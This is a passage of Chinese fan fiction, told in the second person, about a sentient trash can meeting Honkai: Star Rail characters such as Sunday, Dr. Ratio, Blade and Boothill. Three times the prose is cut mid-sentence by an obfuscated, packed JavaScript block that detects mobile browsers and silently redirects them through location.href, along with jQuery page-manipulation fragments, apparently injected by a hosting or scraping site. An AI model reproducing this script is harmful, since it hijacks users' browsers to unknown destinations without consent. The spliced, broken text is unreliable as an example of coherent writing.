砂金这话说得有些勉强,你悻悻地收回了手,有些无所适从。不过好在砂金也不是斤斤计较之人,只是大手一挥,立马叫人送了张新床过来。 他们换床的时候你一直站在窗边。如今外面的天色已经有些黑了,你望着沉沉的夜色不由得有些忧虑。接下来要做些什么,和砂金待在同一个屋子里大眼瞪小眼吗。还是直接跳窗,管他现在是什么高度。 你打开窗户,浓郁的夜风一下子灌了进来,屋内的气氛顿时舒畅了不少。你深深吸了一口气,双手撑在窗台上。 “朋友,你真的要跳下去吗?” 砂金走到你的身后,不知道什么时候已经握了一杯红酒,轻轻摇晃着杯中的酒液。他的脸倒映在洁净的玻璃上,神情仿佛永远都是那副轻佻的模样。 “提醒你一下,这里可是33层。就算你不担心自己会不会摔死,也要担心一下下面会不会有人被你的高空抛物砸到。” 你心生犹豫,就这么跳下去确实不妥。但是你又不想待在这里,总觉得怪怪的。 砂金仰头喝了一口红酒,低声轻轻自嘲了下,“不至于连和我待在一个房间里都难以忍受吧。” 不是,当然不是,就是不知道做些什么。 砂金喝完杯中的红酒后,直接在床上躺下,盖上被子准备睡觉:“朋友,你自便吧,我有些困,先睡了。” 砂金看样子真是累坏了,没一会儿你就听到了他较为平稳的呼吸声。这家伙睡觉的姿势还挺乖,不像你似的四仰八叉。 你静静看了一会儿,缓缓收回视线。关掉了屋内的灯后,蹑手蹑脚地打开门。看到公司员工亮出来的武器后,你又失望地退回去,再次寄希望于窗户。 好在外面有根白色的排水管,似乎一直通到一层。你身手灵活地越出窗户,紧紧地攀住管道,然后顺着刺溜刺溜滑下去。 呼呼的风声在耳边响起,你心底热血澎湃,险些因为旁边的窗户开了而掉下去。好在有惊无险,你还是安全着陆。 大功告成。 夜色浓郁。 你漫无目的地在街道上走着,想起来昨晚的那个赌场。鬼使神差地,你去了那个地方。 不如昨晚热闹,但也是座无虚席。你直接上了二楼,星期日和加拉赫还在这里,一如昨日。 你心底生出些怪异。经过昨晚波提欧那番破坏,他们居然完全没有任何异常行为,果然不愧是来自匹诺康尼的大人物吗。 你走到吧台前,极为嚣张地要了一杯酒。 加拉赫抬头望了你一眼,指尖轻轻敲了敲桌面:“不招待未成年。” 你哪里看上去是个未成年了! 加拉赫为你调了一杯果汁:“还是这杯适合你,老姐。” 老姐什么鬼! 加拉赫看出了你的愤愤不平,“我如今刚满十四岁,你看上去也就比我大两岁的样子。不满十八岁,未成年。” “不满十八岁,雇佣童工!” 加拉赫觉得有些好笑,“我十四岁,说出去有谁会相信呢。” 胡子拉碴,不修边幅,中年男人体型,浑身上下撒发着雄性荷尔蒙的气息。 现在小孩子都这么早熟吗! 你愤愤地坐下来,极其不情愿地开始喝那杯甜不拉叽的果汁。 “你喜欢弹钢琴吗?”加拉赫指了指坐在钢琴前的星期日,“要是喜欢的话,陪陪那只小鸟儿。那孩子像是受了打击,这几天一直在弹,弹到手指渗血也不停。” 你知道他指的是星期日,听到那孩子三个字忍不住疯狂吐槽。人家虽然看上去比加拉赫年轻,但是起码年龄肯定比他大。 “我不会。”你如实说出内心的想法,“但有人教,我可以学。” 加拉赫:“?” 他顿时笑了:“你的目光倒是放得长远。” 钢琴可不是一时半会能学会的,以后的日子还长着呢。加拉赫也就是说说今天的事情,没想到你一开口就是无底洞。 “当然。”你毫不愧疚地承认了。 “你要是想学,可以去求求他。”加拉赫似乎对星期日很了解,“那孩子心软,见不得别人受苦。” “啊?” 怎么听起来又是个有故事的人。 你来庇尔波因特难道就是为了听故事的? 众生皆苦。 但你不是圣人,能救几个呢。 钢琴声戛然而止。 “听说阁下来自垃圾星。”星期日站起身来,“那里还有阁下的很多兄弟姐妹。阁下一个人出来闯荡,为他们谋幸福。此等行为,无不让我心生敬佩。” 你哪里受得住“阁下”二字,从座位上站起来,连连后退,将这两字还给他,语气都客气了起来:“阁下折煞我了,在下不过一个小小的垃圾桶,算不上什么佩服不佩服的。” 星期日抿唇笑着,脑后渐渐浮现出一个极为耀眼的光环。 是光啊。 你晃眼了一瞬,星期日已经戴上了白色的兜帽,看上去更为神圣了几分。白色圣洁的手套被摘下,露出骨节分明的手指,向你伸出,“你好,我是星期日,很高兴认识你。” “你好,星期日,很高兴认识你。” 你犹豫着不敢伸出手。 刚从排水管上滑下来,然后就马不停蹄地跑来了这里,灰尘和汗水混在一起,想想都知道你此时不太适合握手。星期日显然看出你的为难,也没有多说什么,只是有些讪讪地合拢四指,收了回去。 “值此兴奋时刻,不该喝一杯吗。”加拉赫招呼你和星期日。 星期日抿了一口,动作优雅绅士。 你本想一口闷了,见状也不好太过粗鲁了。此景此景,你想起一句诗来。 不敢高声语,恐惊天上人。 倒是贴切。 你也极为局促地抿了一口,你想,自己的样子一定滑稽极了。而旁边的加拉赫看起来,就是慵懒随性了。 还是果汁! 你瞪了加拉赫一眼。 匆匆喝过几杯后,你便借口有事,离开了。好死不死,星期日也紧跟着你走了出来。而且还极为绅士地与你保持着一段距离,并没有追上前来。 你加快了步子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15197757|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星期日也加快了步子。 你拐进一条小巷。 星期日也拐进一条小巷。 你被石头绊了一跤。 星期日也……快步上前,欲伸手把你扶起来。 别! 你伸手拒绝。 别让你身上的灰尘弄脏了他的衣服。 你自己爬了起来。 星期日讪讪地缩回手,笑道:“我只是想多了解一下别人的看法,没有别的意思。” 不。 别内耗。 保持自己就好。 你们劳苦大众还等着被解救呢! 你拍了拍桶身上的灰尘。 砂金涂的这一层银似乎质地非常好,一点儿也不沾染污垢,轻轻拍几下就掉下来了。 星期日想要伸手也被你拒绝了,他无奈笑了一声:“阁下其实不用这么妄自菲薄,其实你比我强得多。” 不! 明明星期日强得多! 但星期日显然没有这种觉悟,他自己的理由也很充分:“你的兄弟姐妹都很爱戴你,但我……似乎已经脱离很久了。如果……”他看着你,“我是说如果……”顿了顿,有些犹豫道:“阁下回到自己的家乡时,看到自己的兄弟或是姐妹已经选择了另外一条与你不同的道路,你会失望难过吗?” 你听出星期日后面的兄弟姐妹和前面的意思有点儿不一样,仔细想了想后,给出自己的答案:“不会。” “真的……不会吗?”星期日看着你,仿佛对你口中的答案很是期待。 “不会。”你斩钉截铁道:“我们看到的事物不同,理解和感悟也会不同,这是无法避免的事情。但我们都是为了同一个目标在努力,她会尝试我走过的路尽量去理解我的想法,而我,也会设身处地去理解她的思想。” “……这样吗?”星期日喃喃道:“她真的不会……” “不会。”你的语气更为坚定:“可能你需要多出去走走,脚踏实地地活着。而她可能会留在原地,体味不一样的人生。” 星期日苦涩地笑了声:“事实……也正如阁下所料。” 你没有再开口,只是和他一同沉默地站着。 星期日不过一会儿便恢复了往常的情绪,声音更为优雅几分:“我留在庇尔波因特,在这里走动。看着这里的繁华,了解底层人民的苦难……很多时候都忍不住在想,自己真的错了吗。” 这个问题,如果不是现在星期日一脸虔诚,你肯定会极其认真地告诉他没有任何错。但现在,面对着星期日有些期待的眼神,你说不出这些话。你也没有任何答案,虽然星期日的理想世界是你深刻向往的。但有时候,你也禁不住想从梦中醒来。 或许,大家不是期待美梦,而只是逃避现实。美梦和现实并不冲突,但不知道什么时候,这两者成为了不成文的反义词。 星期日从你的犹疑中看出了你的想法,点点头:“我知道了。” 你松了口气,然而星期日的下一句话直接让你惊得险些跌倒。 “如果有一日你要离开此处,请带我一起。” 8. 有洁癖的石膏头 你是谁,你在哪里,这到底是什么情况。你走南闯北,从来没有任何负担。桑博随身携带,也不用你通知什么,但是现在却要加上一个星期日吗。这家伙一看就很贵气,像是谁家偷偷跑出来玩的富贵公子。不知为何,你竟有些担心一起闯荡时他受不受得了风餐露宿的生活。 想太多啦! 你禁不住晃了晃脑袋,说不准星期日只是开个玩笑呢。你干巴巴地笑了两声,“如果……如果有机会的话,哈哈……” 星期日抿了抿唇角:“如果你有什么需要帮忙的,尽管开口,我定会施以援手。” “谢谢……如果……如果有机会的话……” 你已经开始语无伦次了。好在星期日没有再继续这个话题了,而是问起你先前的旅途。你松了口气,问到这个你可就有话说了。以前摸爬滚打的经验不是白给的,但鉴于都是小人物的体验,估计对星期日帮助也不大。你尽量减少抱怨的部分,只陈述你遇到的事情。 星期日仿佛对你说的事情很感兴趣,听得津津有味。你已经尽量减少自己观点的输出,他却想听到你的真实想法。无奈之下,你只能说一半留一半。不知不觉,天渐渐亮了。星期日的眼下也有些青黑,灰白色的耳羽有些没生气地耷拉在肩膀上。你也打了个哈欠,催促星期日回去睡觉。 自己则缩起双手双脚,往热闹的广场滚去。你的内心极度缺乏安全感,睡觉时喜欢在白天,找个热闹的地方。嘈杂的人声会让你觉得安心,睡得也香。 桶身往前滚着。 桑博问你:“我说伙计,你现在做的事情和侦探有什么关系。” “有没有关系的,先多认识几个大人物,到时候靠知名度打开市场。” 桑博沉默了一会儿,叹道:“不错啊,伙计,看来这几天你成长了不少。” “成长是靠千锤百炼出来的。”你带着浓厚的倦意打了个哈欠,“我这两天昼夜都颠倒了。” “白天睡觉,晚上搞事,很符合你的性格。” “我感觉你跟个寄居蟹似的,离了我你还能活吗。” 桑博无语:“说得我离开了你跟裸奔似的。” “难道不是吗?你这张半哭不笑的面具能独立行走吗?” “当然可以。” “桑博,你的炸弹是无穷无尽的吗。” 桑博立刻警觉:“你想干什么?” 桶身滑到了广场的中央,你跳进了喷泉里,在喷头的正下方找了个姿势舒舒服服蹲着。 “好好睡一觉,然后晚上去把公司炸上天。” “公司守备森严,你怎么进去。” 桑博的声音淹没在哗啦的水声中。你也没想好要怎么进去,但百密终有一疏,肯定会有解决的办法的。 你舒服地睡了一觉。醒来的时候,已经是晚上了。你从喷泉下面钻出来,迎面却撞上一个戴着奇怪石膏头的男人。 这男人穿着很是暴露,蹬着一双凉鞋,服饰有点儿学者的味道,但是健壮的身材却有些与这身气质不太搭。手里还拿着一本书和几个粉笔头,见到你出来,直接一个粉笔头砸在你身上。 你直接幻视上课睡觉时被老师丢粉笔头的时候,内心不由得慌得一批。乖乖站在一边,恭敬地叫道:“老师。” “你想当我的学生?”男人的语气趾高气扬,手里的书啪地一声合上了。 你吓得禁不住一颤,想起了以前被老师支配的恐惧。男人一本书拍在你的头上,“够了,别再狡辩了。” 不是,什么情况啊。 你捂着脑袋后退几步,搞不清楚这个男人为什么这么语气这么严厉。你甚至在反思,是不是自己哪里做错了才使得这个男人态度这么恶劣。 但是想了又想,你非常确定自己没有得罪过他,也不知道这人到底为什么语气这么冲,活像是你欠他钱似的。 “这位……呃……教授,我们之前见过吗?” “垃圾桶随处可见,我怎么知道哪个是你。”男人打开书翻了几页,“愚钝是一种病,你可以唤我真理医生。” “愚钝?” 虽然最近你一直在努力,但好像一直在做蠢事。虽然自己确实有点儿愚钝,但也不至于来个人就能训你一通吧。 “教授……” 真理医生的视线从书上抬起,又是啪地一声把书合上,书本抵在你的脑袋上:“今天白天,阮·梅女士遭人袭击,这件事和你有关系吗?” 和你有什么关系,而且你根本不知道真理医生口中的阮·梅女士是谁。更让你觉得奇怪的是,为什么他会认为这件事情和你有关系。 真理医生不愧是做教授的,没等你问便为你答疑解惑:“举报者提供了一张照片。”他翻了翻书本,拿出来一张相片。 你接过来一看,顿时气得脑门直突突。 照片的拍摄时间应该是在昨晚你待在砂金房间的时候,你正在把一堆可爱的小家伙往自己的桶身里装。 先不管这张照片和你现在的处境有没有关系,单论这张照片的拍摄者,指定是砂金无疑。那个时候,他指定还没在洗澡。看到你要逃跑的时候,才假装打开花洒。 你就说嘛,你一向耳聪目明,又怎么会对水流声的感知那么愚钝。 这只小孔雀! 早知道你就不那么君子了,直接拍一张他的洗澡照片发在网上! 你气得七窍生烟,险些将手里的照片捏碎了。 早晚有一天,你会将这只小孔雀拔了毛,吃干抹净! “想毁尸灭迹?” 真理医生看到你的样子,哗啦啦翻了几页书,一眼望去全都是这张照片的复印件。或者说是,你手里的这这张才是复印件。 但是这能代表什么呢,只能说明你和这群可爱的小家伙相处得比较好罢了。这也能成为你袭击阮·梅女士的理由? “照片上的小东西是阮·梅女士的造物。提供这张照片的人称,你为了将这些造物据为己有,不惜意图杀害阮·梅女士。” 这是什么奇怪的逻辑。 什么叫欲加之罪何患无辞,你今天算是领教到了。 “请问提供这张照片的人是谁?” “无可奉告。” “请问这张照片是在哪里拍摄的。” “无可奉告。” “……” “你还有什么要辩解的?” “……(臣妾)百口莫辩。” “你这算是承认了?” 你叹了一口气,“请问阮·梅女士遇袭的时间是在什么时候。” “系统时间13时47分11秒。” “现在是什么时间?” “系统时间23时58分13秒。” “距离阮·梅女士遇袭已经过去了10个系统时,如果教授把这些时间用在追捕凶手上,效率比现在快得多。” “捉住你就是最快的效率。”真理医生又翻了翻书,一张新的照片交到你手上,“这是目击现场的照片。” 照片上一个穿着素雅旗袍的少女正抱着琵琶在广场演奏。而她的斜上方天空,有个垃圾桶正高高跃起。该不会是说根据抛物线的轨迹方程计算,你落地时正好砸中阮·梅吧。 这是发生在昨天的情景,你若是没记错的话,砂金在你的桶内。不对,这和砂金在不在你的桶内有什么关系,又不会因为多加个人而改变你的落地位置。但是你确实没有砸中阮·梅,而是非常头铁地插进大楼里去了。 只过了一天,应该还没有修……?! 居然修好了?! 你站在原地四处搜寻,周围的大楼竟然真的没有中间被砸了一个洞的。 欸不对,时间对不上。 这是发生在昨天的事情,而阮·梅女士遇袭发生在今天不是吗。 “有何区别?”真理医生收起了照片,慢吞吞道:“一次不成,再来第二次。” “……” “今日一整天,我都在这里睡觉。”你叹了口气,指了指脚下的广场:“阮·梅女士该不会是在这里遇袭的吧。” “所幸你还不算太笨。”真理医生擦了擦书籍的表面,视线并未放在你身上:“接下来想一想如何自证,否则天才俱乐部和博识学会不会善罢甘休的。” ? “你不是来抓我的?” “当然不是。” 那他盘问你干什么,闲的吗。 你转身就走,真理医生一本书把你砸倒在地上,你趴在地上动弹不得,背上压的书本像是有千斤重,你居然爬不起来。 “知识的力量是无穷无尽的。” 视线内出现了真理医生那双露趾凉鞋。分明是个教授,身上却没有禁欲的气息,反倒是满满的欲望。你忍不住吞了吞口水,努力抬起上半身,视线落在胸前窗口的一缕链条上。 “看什么呢。” “知识。” 你认命地趴回地上,一手托着腮,一手手指不住地点着地面:“知识是无穷无尽的。说得好听,以前说什么知识改变命运,现在却来责怪我们脱不下孔乙己的长衫。什么知识改变命运,在这个学历贬值的时代 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15197758|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,比一张空头支票还不如。” 这话本就是发牢骚,用来应付真理医生那探究的视线。你实在不想说出你在看他胸口这种肤浅却又很现实的话,否则那些抓你的人还没来,你就被这个教授用书砸死了。 不料此话一出,真理医生反倒在你面前坐了下来。如此一个连书籍表面都要努力擦干净的怪咖,竟然丝毫不顾及形象地坐在地上,倒真是有些让你吃惊。他还把脑袋上的石膏头拿了下来,放在你的面前。 你与英俊的石膏头视线平齐,面面相觑,画面十分诡异。 “孔乙己是谁?” “一个被社会制度吃掉的可怜人。”你想了想,又补了句,“是个喜欢穿长衫的家伙,读书人。” “你知道人最大的烦恼是什么吗?” “不知道,我不是人。” “……对牛弹琴。” 真理医生重新戴上了石膏头,踏着星光而去。但他居然忘了压在你身上的书本,如此一本珍贵的书籍,如沉重的大山一般压得你喘不过气来。你无法动弹,下半身几乎麻木,只有上半身能稍稍抬起来一点儿,手指好歹还能动。 知识的力量是无穷无尽的。 这个世界也太抽象了,居然就把这句话具体化了。 你无聊地开始数星星。 一颗,两颗,三颗……数到东方吐出鱼肚白,数到满天灿烂星光消失,数到太阳冉冉升起。 已经有些零散的人群围在你的身边,举起手机拍照。闪光灯响个不停,咔嚓声振聋发聩。从没有一刻,你如此痛恨自己五感敏锐,连他们的窃窃私语都听得一清二楚。 “欸这个垃圾桶看起来有点儿眼熟欸,是不是前几天砂金总监带回去的那个?” “欸没错没错就是,听说大半夜闹得可凶了,连床都塌了。” “哇内容这么劲爆猎奇吗,砂金总监的口味这么重吗?这得需要什么姿势,网上有科普吗?” “可能就是让人无法忍受,这个垃圾桶才跳楼自杀吧。” “什么?跳楼?” “是啊是啊,我也听说了,大半夜垃圾桶跳楼跑了,砂金总监气得直抹眼泪呢。” “不是吧不是吧,有谁能拒绝砂金总监啊。” “不对不对,肯定不是这个垃圾桶,我前几天还看见它在公司门口和人打架来着。网上也有视频,特别清晰。” “我想起来了,当时我还纳闷呢,垃圾桶还能打架。哈哈哈哈这个世界终于颠成我想要的样子了。你们说明天会不会有什么拖把扫帚电脑什么的,也来和我们打架。” “哎呀你别打岔,继续说,砂金总监的垃圾桶怎么会自降身份和公司的员工打架呢。” “所以说这就不会是砂金总监的那只垃圾桶,你们看它灰头土脸的样子,哪里像是会被砂金总监看上的。” “那估计我的眼熟就是见到它打架了。” “你们说它为什么被扣在这里啊。” “还能因为啥,还是打架的事情呗。当时公司迫于它咄咄逼人的气势,不得不放它一马,现在就逮着机会报复回来了。让它嚣张,看以后谁还敢用它。用它,就是和公司过不去。” “冒着得罪公司的风险……噫——想想都不寒而栗,这个垃圾桶会被业内封杀掉的吧。” “垃圾桶有得是,又不缺它一个。它不当垃圾桶,有的是桶来当,还乖巧又听话,百依百顺,不打架。” “不是你这话……” “哎呀上班要迟到了……快走快走……” “不是,你什么意思啊……” 声音越来越远,你的耳根子终于得到了清净。原来,并不是所有热闹的时候你都能睡得着的。有的热闹会让你觉得安心,有的热闹却只会让你糟心。 心情低落必下雨。 这个定律在这个世界会不会应验。 一滴水砸在你面前的土地上。像是一种无声的预告,紧接着越来越多豆粒大的雨滴砸了下来。 无所谓了。 反正你也不会生锈。 你趴在胳膊上,额头贴着小臂,眼睛睁着,在臂弯下形成一个狭小却没有雨水的空间。但雨水还是顺着胳膊的缝隙渗了进来,即使没有风吹雨淋,却依旧引起了一场水灾。 你将胳膊松开了些。 水流从缝隙间流走。 你猛然抬头。 却被一片黑色遮挡住了半分视野。 不知何时,一把黑色的雨伞静静地立在你的头顶上,阴沉的声音一字一顿:“死了么,我来给你收尸。” 9. 可可爱爱的波波鲨 原来,在你坟头蹦迪的会是桑博,而给你收尸入殓的是眼前这位。他有着一头蓝黑色的长发,瞳孔如烛火般燃烧着。脸色阴沉,像是随时能挤出水来的海绵。说实话,你很想上手去捏一捏,看看是不是真的会出水。 但这个男人看起来极度危险,比波提欧还要危险上百分。估计在你伸出手的瞬间,胳膊就会被切掉吧。不知道切掉会不会重新长出来,就像章鱼的触手一样。 此刻分明是白天,但却因阴雨绵绵的原因,有些暗沉。而面前的这个男人如同死神降临般,不断亮起的闪电照出他那张俊美到有些妖异的面庞。 你有点儿幻视男鬼。 难道接下来的情节是与男鬼共舞。 男人伸手将你拉起来,压在桶身上的书自动掉落。你小心翼翼地捡起来,努力擦干净,然后抱在怀里,警惕地看着危险的男人:“你想给我收尸吗?” “如果有这个机会的话。” 男人将伞塞到你怀里,然后头也不回地离开了。他的步子有些沉重,鲜血顺着腿部一路延伸到地面。分明雨还在下,这些血迹却没有被冲散,而是缓缓形成一个字。 ——刃。 他的名字叫刃吗。 好像还很贴切的。 你抱着书本在身前擦了擦,然后捏住书封,哗啦哗啦向下抖落。几张照片掉落在地,除了真理医生给你看过的两张外,还有几张别的。 一张是你与波提欧在街上走的画面,拍摄时间是在夜晚。还有一张是你与星期日在一起说话的画面,拍摄时间是清晨。还有你与星期日和加拉赫在一起喝酒时的场景,时间应该是前天晚上。再有一张就是你在公司门口大打出手,时间是白天。剩下最后一张是你与砂金在清晨的街头说话,旁边还有一辆被路灯砸坏了的跑车。 你现在有些混乱。 这些莫名其妙的照片到底是谁拍的,谁这么闲这么关注你吗。几乎你做的每一件事情都有人记录下来,这也太匪夷所思了。 原来你还以为是砂金干的,这么看来应该不是,他有必要把自己也拍下来吗。难道是砂金的竞争对手,从砂金那里找不到突破口,把目标放在你这里来了? 那真理医生是怎么拿到这些照片的?难道是他拍的,他是砂金的竞争对手?这也不应该,他一个教授,又不从商,做这些无聊的事情干什么。 到了桑博出场的时候了。 然而你呼喊多次无果,这家伙不知道跑到哪里去了。掀开桶盖他也不在你的身体内,估计是昨天你在喷泉下面睡觉的时候跑了。 这个家伙。 雨不知道什么时候停了,你把伞收了起来,扔进了桶里。顺带着把掉在地上的照片夹进书里,一并也扔进你的身体里。 想要搞清楚真理医生这个人,估计得去碰碰运气了。一个教授,应该会在图书馆之类的地方出现吧。 你正要迈步,却猛地想起你与砂金的约定。三天后公司有个酒会,今天是第几天了。你拍了拍脑袋,如果没记错的话,应该是第二天。那么酒会的时间是明天了,砂金也没说晚上还是白天。不过既然是酒会,应该是晚上吧。 时间充足。 你哼着歌儿朝图书馆进发。哼了半天,才发现自己不知不觉中哼了波提欧当地的牛仔歌。想起骑着烈马在夕阳的余晖中尽情奔腾的场景,你不由得心生向往。 等到垃圾桶侦探社做大,你也要买几匹马来骑骑玩玩。这可比跑车拉风多了,还潇洒肆意! 梦里什么都有。 做梦的时候,你已经站在图书馆的面前了。虽然之前当人的时候没少来过这里,但是现在心境一换,多少有了和之前不一样的感觉。 以前你就是励志的典型,一个从小山村里出来的别人家的孩子。小时候总是向往外面的世界,以为读了书可以拥有不一样的人生。但终归是现实压倒人,原生家庭是摆脱不掉的桎梏。在大人眼里,你是越长大越叛逆。叫你嫁人生子过好普通人的一生,但你既不想因为生孩子死在床上,也不想因为男人的家暴死在锅里。这样的死法,还不如在大街上因为一个意外被撞死。 其实你不是越长大越叛逆,而是叛逆的种子一直在你心里。只是那时候你没有能力去反驳,你还没有经济独立,你花着他们的钱。说来可笑,分明是在自己的家里,你却像是在寄人篱下。 哪里有家。 你自己才是家。 你叹了一口气,走进图书馆里。摸着那些书籍,你有时候禁不住在想。是不是因为自己不够努力,是不是自己读的书还是太少,才在当人的时候总是不尽人意。但回到小山村的时候,你又在想。是不是你的书读得太多,才与这里格格不入。 你抽出一本书,依靠在书架上翻看起来。 本来是来这里找人的,但你无法做到进了图书馆却一点儿习都不学。当学生都当到骨子里了。 你一点一点翻着,直到有个高大的身影挡住你的视线。胸前的链子几乎要垂到你的手上,你的指尖甚至能感觉到少许皮肤的余温。 “在看什么?” 这次真理医生没再戴石膏头,你清晰地看到他眼角嫣红色的眼尾线,心想这怕不是个半路出家的教授。 “论追教授的一百种方法。”你啪地一声合上书,随口胡诌了个名字。 真理医生从你的手里抽出书本,拿在手里掂了掂,似乎是在估量这本书砸到你的脑袋上会有什么惊奇的效果。 你先发制人:“那些照片教授是从哪里得到的。” “无可奉告,难道还需要我说第三遍吗?” “……” 你早该想到这个结果的。 不过也不算是毫无收获,起码你的心灵清净了不少。 “你喜欢看纸质的书籍?”真理医生居高临下道:“如今人们大多沉迷电子版,纸质的反倒不那么让人青睐了。”他点了点头,脸上难得露出些许赞赏,“很好,加两分。” “这个分数有什么用。”你反唇相讥:“教授该无可奉告的还是无可奉告。” 真理医生扭了扭脖子,关节发出咯吱的响声。神情居然有些魅惑,一举一动像是在勾引桶似的。 “明天晚上的公司酒会,你会遇到这个人。” 砂金的竞争对手? “市场开拓部的人?” “看来你对那个赌徒也不算一无所知。” 真理医生的语气依旧很傲慢,傲慢得你直接想伸手揪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15197759|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住他胸前的链子,然后狠狠在他耳边吐一口气。 但也仅限于想想,你是不敢这么做的。即便他穿得再暴露,你也无法忽视掉他身上的那股学者气息。 你掀开自己的桶盖,拿出里面那本夹杂了无数照片的书,还给了真理医生。 “本以为你会据为己有,现在看来,你和那些只装垃圾的垃圾桶不一样。” 你微微皱眉:“只装垃圾的垃圾桶也没有做错什么,这不是你可以指摘他们的理由。他们生来就被教育是装垃圾的,一直以来别人都这么告诉他们。在这样一个耳濡目染的环境里,你怎么能寄希望于他们自己觉醒。教授说世上有一种病叫做愚钝,难道只局限于人吗?” 真理医生略微有些惊讶,似乎没想到你这样的一个垃圾桶会说出这般话来。估计也是希望你能批判那些只会装垃圾的垃圾桶,毕竟你和他们不一样,排异是人之常情,很少有能同情他人的。 真理医生随手翻了翻书,然后抬眸深深地看了你一眼,什么也没说便走掉了。你不觉有异,另外抽出一本书看了起来。一直到深夜,图书馆的灯还亮着,许多学生依旧在奋笔疾书。你将书放回去,离开了图书馆。 漆黑色的夜幕繁星点点,空气中弥漫着新鲜空气的味道。你缩了手脚,往前慢慢滚着。直到撞上一个人的小腿,你才清醒了些。 “小可爱,我们又见面了。” 波提欧吃错药了吗,语气居然这么欢快。 你站起身来,双手环胸地看着这个正在嚼着子弹的改造人。波提欧像是吃子弹吃上了瘾,居然还想拿起你的桶盖嚼。 你直接夺过来,一盖子拍在他的脑袋上,“清醒点,这不是你腰上的子弹。” 波提欧不好意思地摸了摸脑袋,“喵,你能不能温柔点儿。” 温柔,这就不会是出现在你身上的东西。不过经过这么一句话,你倒是看出来了。这个波提欧,脑子估计被人啃了一半,说话奇奇怪怪的。 “他喵的小可爱,你别用这种奇怪的眼神打量我。宝了贝的,我是来道歉的。” “道什么歉,我根本不认识你。” 你手上转着自己的桶盖,懒散地绕过他。 “喵,我真的是来道歉的。” 你将桶盖扣在自己的脑袋上,心底十分清楚。波提欧不是来找你道歉的,而是来找你帮忙的。 “你为什么要来道歉。” “昨晚我看到了公司对你的通缉令。”波提欧十分诚实:“看来你不是公司狗的人。” “说不准这只是公司用来迷人眼目的手段呢。” “他宝贝的,也不是没有这个可能,但还是决定信任你。”波提欧洋洋得意:“怎么样小宝贝,感不感动?” 你象征性地拍了两下巴掌:“感动,不能再感动了。” “喵,我给你道歉还不行。我这辈子还没给别人道过歉呢。” “没人逼你。” “对不起。”波提欧倒是很果断,知错就改。 “没关系。”你向来很大方,往地上一坐:“说说吧,找我干什么。” 波提欧在你的身旁坐下,一只手搭在屈起的膝盖上,亮出一口锋利的鲨鱼牙:“杀人。” 10. 可怜的波波鲨 波提欧口中的杀人,就是指在明天晚上公司的酒会上动手。他要杀的人应该不是砂金,那天他在酒吧里动手的时候你就有这种感觉了。但你不是很确定,所以把波提欧引出酒吧。没想到他居然真的抛下砂金这个目标,跟着你出来了。 酒吧里所谓的刺杀,不过是一场戏,为了摆脱砂金的嫌疑。这个波提欧嘴上一口一个公司狗,实际上还是很有合作精神的。该做的事情他会做好,但应该有的谨慎小心一样也不落。 至于两天前砂金在清晨街头和你说的什么所谓在酒会上的保护,应该是想让你帮助波提欧,然后顺便保护一下他的人身安全吧。 不过这个小孔雀,有什么把握你一定会这么做呢。哦是了,你还砸坏了他的跑车呢。但是很奇怪欸,既然砂金有意让你混入公司酒会,又怎么会让你成为公司的通缉犯呢。而且你在图书馆这么显眼的地方晃了半天,也没见公司的员工来捉你。 是的,事到如今,你还是倾向于照片是砂金提供的。主要是那些照片的拍摄角度吧,尤其是在砂金房间的那一张,实在不像是偷拍的。而且砂金这个人,狡诈还是有点儿的。如果有人在他的房间安装摄像头,不是他自己默许的就是想钓人。 你便试着诈波提欧一诈:“公司的通缉令,我怎么不知道有这回事?” 波提欧估计是正畅想着明天晚上报仇雪恨的事情,听到你的疑问略微怔了一怔,稍后才爆粗口:“喵!我还以为你在想明天杀人的事情。” “这种事情有什么好想的,难道不是信手拈来?” 波提欧禁不住瞪圆了眼睛,子弹瞳孔的眸子在路灯的照耀下竟有了几分喜感。你忍不住捻了一缕他的发丝在指间,细细摩挲着。 波提欧竟难得没有反抗,反而还稍稍往你这边凑了一点儿,语气有些不敢置信:“我喵,你不会是那种杀人如麻的垃圾桶吧。” 你仔细想了想,一本正经道:“垃圾星上也不全是垃圾桶,还是有人类的。当然,最后都被我们垃圾桶灭掉了。” 波提欧眨了几下眼睛,嘴巴成了O形:“我……我喵?” “这是第一个版本,还想听别的吗?” “宝了贝的,你拿我开涮?”波提欧有些生气,坐得离你远了点。 察觉到发丝从指间溜走,你攥了攥了手掌。垃圾星上有人类是真的,也有可能是假的。究其原因是你曾经在垃圾里发现过人的头盖骨、骨盆、肱骨等等一系列你能叫得上名字和叫不上来名字的骨头,也不知道这些是被丢弃的还是以前那些垃圾桶杀了人留下来的。反正是被丢弃在这里了,无人过问。 